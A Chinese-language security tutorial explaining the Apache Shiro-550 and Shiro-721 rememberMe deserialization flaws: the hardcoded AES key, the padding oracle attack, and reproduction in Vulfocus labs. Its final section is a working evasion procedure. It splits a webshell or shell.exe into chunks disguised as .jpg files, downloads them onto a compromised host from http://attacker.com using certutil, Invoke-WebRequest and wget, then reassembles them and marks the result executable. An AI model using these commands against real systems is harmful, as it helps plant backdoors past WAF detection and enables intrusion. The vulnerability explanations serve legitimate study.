Shiro漏洞原理及其解析
漏洞介绍:
shiro550
漏洞简介
shiro-550主要是由shiro的rememberMe内容反序列化导致的命令执行漏洞,造成的原因是默认加密密钥是硬编码在shiro源码中,任何有权访问源代码的人都可以知道默认加密密钥。于是攻击者可以创建一个恶意对象,对其进行序列化、编码,然后将其作为cookie的rememberMe字段内容发送,Shiro 将对其解码和反序列化,导致服务器运行一些恶意代码。
特征:cookie中含有rememberMe字段
修复建议:
更新shiro到1.2.4以上的版本。
不使用默认的加密密钥,改为随机生成密钥。
漏洞原理
一、Shiro服务器识别身份加解密处理的流程
(1)加密
1、用户使用账号密码进行登录,并勾选"Remember Me"。
2、Shiro验证用户登录信息,通过后,查看用户是否勾选了”Remember Me“。
3、若勾选,则将用户身份序列化,并将序列化后的内容进行AES加密,再使用base64编码。
4、最后将处理好的内容放于cookie中的rememberMe字段。
(2)解密
1、当服务端收到来自未经身份验证的用户的请求时,会在客户端发送请求中的cookie中获取rememberMe字段内容。
2、将获取到的rememberMe字段进行base64解码,再使用AES解密。
3、最后将解密的内容进行反序列化,获取到用户身份。
二、Key
AES加密的密钥Key被硬编码在代码里
于是可得到Payload的构造流程:
恶意命令-->序列化-->AES加密-->base64编码-->发送Cookie
漏洞复现
首页 - vulfocus,搜索shiro,选择CVE-2016,随后启动靶场进行测试
工具一把梭哈:
Shiro-721
Shiro550和Shiro721的区别是什么
Shiro550只需要通过碰撞key,爆破出来密钥,就可以进行利用
Shiro721的ase加密的key一般情况下猜不到,是系统随机生成的,并且当存在有效的用户信息时才会进入下一阶段的流程所以我们需要使用登录后的rememberMe Cookie,才可以进行下一步攻击。
漏洞指纹
URL中含有Shiro字段
cookie中含有rememberMe字段
返回包中含有rememberMe
漏洞介绍
在Shiro721中,Shiro通过AES-128-CBC对cookie中的rememberMe字段进行加密,所以用户可以通过PaddingOracle加密生成的攻击代码来构造恶意的rememberMe字段,进行反序列化攻击,需要执行的命令越复杂,生成payload需要的时间就越长。
漏洞原理
由于Apache Shiro cookie中通过 AES-128-CBC 模式加密的rememberMe字段存在问题,用户可通过Padding Oracle 加密生成的攻击代码来构造恶意的rememberMe字段,用有效的RememberMe cookie作为Padding Oracle Attack 的前缀,然后制作精心制作的RememberMe来执行Java反序列化攻击
攻击流程
登录网站,并从cookie中获取RememberMe。使用RememberMe cookie作为Padding Oracle Attack的前缀。加密syserial的序列化有效负载,以通过Padding Oracle Attack制作精心制作的RememberMe。请求带有新的RememberMe cookie的网站,以执行反序列化攻击。攻击者无需知道RememberMe加密的密码密钥。
加密方式:AES-128-CBC
属于AES加密算法的CBC模式,使用128位数据块为一组进行加密解密,即16字节明文,对应16字节密文,,明文加密时,如果数据不够16字节,则会将数据补全剩余字节
若最后剩余的明文不够16字节,需要进行填充,通常采用PKCS7进行填充。比如最后缺3个字节,则填充3个字节的0x03;若最后缺10个字节,则填充10个字节的0x0a;
若明文正好是16个字节的整数倍,最后要再加入一个16字节0x10的组再进行加密
Padding Oracle Attack原理
Padding Oracle攻击可以在没有密钥的情况下加密或解密密文
Shiro Padding Oracle Attack(Shiro填充Oracle攻击)是一种针对Apache Shiro身份验证框架的安全漏洞攻击。Apache Shiro是Java应用程序中广泛使用的身份验证和授权框架,用于管理用户会话、权限验证等功能。
Padding Oracle Attack(填充Oracle攻击)是一种针对加密算法使用填充的安全漏洞攻击。在加密通信中,填充用于将明文数据扩展到加密算法块大小的倍数。在此攻击中,攻击者利用填充的响应信息来推断出加密算法中的秘密信息。
Shiro Padding Oracle Attack利用了Shiro框架中的身份验证过程中的一个漏洞,该漏洞允许攻击者通过填充信息的不同响应时间来确定身份验证过程中的错误。通过不断尝试不同的填充方式,攻击者可以逐步推断出加密秘钥,并最终获取访问权限。
这种攻击利用了填充错误的身份验证响应来获取关于秘密信息的信息泄漏,然后根据这些信息进行进一步的攻击。为了防止Shiro Padding Oracle Attack,建议及时更新Apache Shiro版本,确保已修复该漏洞,并采取其他安全措施,如使用安全的加密算法和密钥管理策略。
漏洞复现
Vulfocus 漏洞威胁分析平台,选择shiro-721,启动环境后进行工具梭哈
shiro分片传输绕过waf
场景:
shiro获取了权限或者能进行RCE却无法进行echo写入后门,此时便需要进行分块传输进行规避检测
操作:
先进行文件的分块处理
linux
split -b 500k shell.php shell_part_
意思是把 shell.php
文件 按大小切分,每个分块 500 KB,输出文件名以 shell_part_
开头。
参数解读
split
:Linux 下的文件切割工具。-b 500k
:指定每个输出文件大小为 500 KB(k
= 1024 字节)。shell.php
:要切分的源文件。shell_part_
:输出文件的前缀。
执行后会生成的文件
假设 shell.php
大小是 2 MB,那么执行后会得到 4 个文件:
shell_part_aa
shell_part_ab
shell_part_ac
shell_part_ad
(split
默认用 aa, ab, ac...
这样的后缀递增)
还原
切分后的文件需要再合并才能恢复成原始 shell.php
:
cat shell_part_* > shell.php
Win
将下列的内容保存为*.ps1
文件
然后运行:powershell -ExecutionPolicy Bypass -File "文件路径\name.ps1"
# 设置分块大小 (5KB)
$chunkSize = 5KB # 读取原始文件 (以字节方式读取)
$fileBytes = Get-Content -Raw -Path "shell.php" -Encoding Byte # 计算总共需要多少块
$chunks = [Math]::Ceiling($fileBytes.Length / $chunkSize) Write-Host "文件总大小: $($fileBytes.Length) 字节, 分为 $chunks 个块 (每块 $chunkSize 字节)"# 循环分块写出
for ($i = 0; $i -lt $chunks; $i++) {$start = $i * $chunkSize$end = [Math]::Min(($i + 1) * $chunkSize - 1, $fileBytes.Length - 1)$chunkData = $fileBytes[$start..$end]# 输出文件名,例如 0-image.jpg, 1-image.jpg ...$outputFile = "$i-image.jpg"[IO.File]::WriteAllBytes($outputFile, $chunkData)Write-Host "生成分块: $outputFile ($($chunkData.Length) 字节)"
}
执行效果
-
如果
shell.php
大小是 15KB,脚本会生成:0-image.jpg (5KB) 1-image.jpg (5KB) 2-image.jpg (5KB)
-
每个“jpg”其实就是原始二进制数据的切片,只是换了扩展名伪装成图片。
如何恢复原文件
# 获取所有分块文件(按顺序)
$chunkFiles = Get-ChildItem -Filter "*-image.jpg" | Sort-Object Name# 依次读取并拼接
$allBytes = @()
foreach ($cf in $chunkFiles) {$allBytes += [IO.File]::ReadAllBytes($cf.FullName)
}# 写回原文件
[IO.File]::WriteAllBytes("recovered_shell.php", $allBytes)Write-Host "文件已恢复: recovered_shell.php"
windows中exe演示:
$chunkSize = 1MB; $bytes = [IO.File]::ReadAllBytes("shell.exe"); $chunks = [Math]::Ceiling($bytes.Length / $chunkSize); for ($i=0; $i -lt $chunks; $i++) { $start=$i*$chunkSize; $end=[Math]::Min(($i+1)*$chunkSize-1,$bytes.Length-1); $chunk=$bytes[$start..$end]; [IO.File]::WriteAllBytes("$i-part.bin",$chunk) }
伪装成“图片”扩展名(例如 .jpg
)
$chunkSize = 1MB; $bytes = [IO.File]::ReadAllBytes("shell.exe"); $chunks = [Math]::Ceiling($bytes.Length / $chunkSize); for ($i=0; $i -lt $chunks; $i++) { $start=$i*$chunkSize; $end=[Math]::Min(($i+1)*$chunkSize-1,$bytes.Length-1); $chunk=$bytes[$start..$end]; [IO.File]::WriteAllBytes("$i-part.jpg",$chunk) }
合并
$all = @(); Get-ChildItem -Filter "*-part.*" | Sort-Object Name | ForEach-Object { $all += [IO.File]::ReadAllBytes($_.FullName) }; [IO.File]::WriteAllBytes("recovered_shell.exe",$all)
受控机运行以下命令:
Win
certutil -urlcache -split -f http://attacker.com/shell_part_aa shell_part_aa
certutil -urlcache -split -f http://attacker.com/shell_part_ab shell_part_ab
...这是一条一条的下载
循环下载
$urls = @("http://attacker.com/shell_part_1","http://attacker.com/shell_part_2","http://attacker.com/shell_part_3"
)
foreach ($u in $urls) {$name = Split-Path $u -LeafInvoke-WebRequest -Uri $u -OutFile $name
}
1..3 | ForEach-Object {$idx = $_$url = "http://attacker.com/shell_part_$idx"$out = "shell_part_$idx"Invoke-WebRequest -Uri $url -OutFile $out
}
Linux
for i in $(seq 1 3); dowget -O "shell_part_$i" "http://attacker.com/shell_part_$i"
done
合并(恢复)分块为原文件
Linux / macOS
按字典序合并(适用于 0000-part.bin
或 aa, ab...
):
# 确认排序符合生成顺序,然后:
cat shell_part_* > recovered_shell.exe
# 给可执行权限(如果需要在 *nix 上运行):
chmod +x recovered_shell.exe
cat
会按文件名字符串排序(shell 通配符的展开顺序),因此请确保文件名的字典序等于分块顺序(建议使用零填充数字或 aa/ab 命名规则能自然排序)。
Windows CMD
如果你用 CMD(注意 order 问题):
copy /b shell_part_aa + shell_part_ab + shell_part_ac recovered_shell.exe
(这种方式要手动列出顺序;通配符 copy /b shell_part_*
的顺序可能不可靠)
Windows PowerShell(推荐 —— 流式写入,不占用大量内存)
按字典序合并到 recovered.exe
(稳健):
$out = "recovered_shell.exe"
# 若已有同名文件则先删除
if (Test-Path $out) { Remove-Item $out }$fs = [IO.File]::Open($out,'Create')
Get-ChildItem -Path . -Filter 'shell_part_*' | Sort-Object Name | ForEach-Object {$chunk = [IO.File]::OpenRead($_.FullName)$chunk.CopyTo($fs)$chunk.Close()
}
$fs.Close()
Write-Host "已合并为 $out"
这个方法使用流复制,适合大文件且不把所有块一次性加载到内存。
权限绕过
可以参考之前的文章:SpringBoot创建&参数可控&过滤器拦截器&Shiro机制_shiro拦截器和过滤器-CSDN博客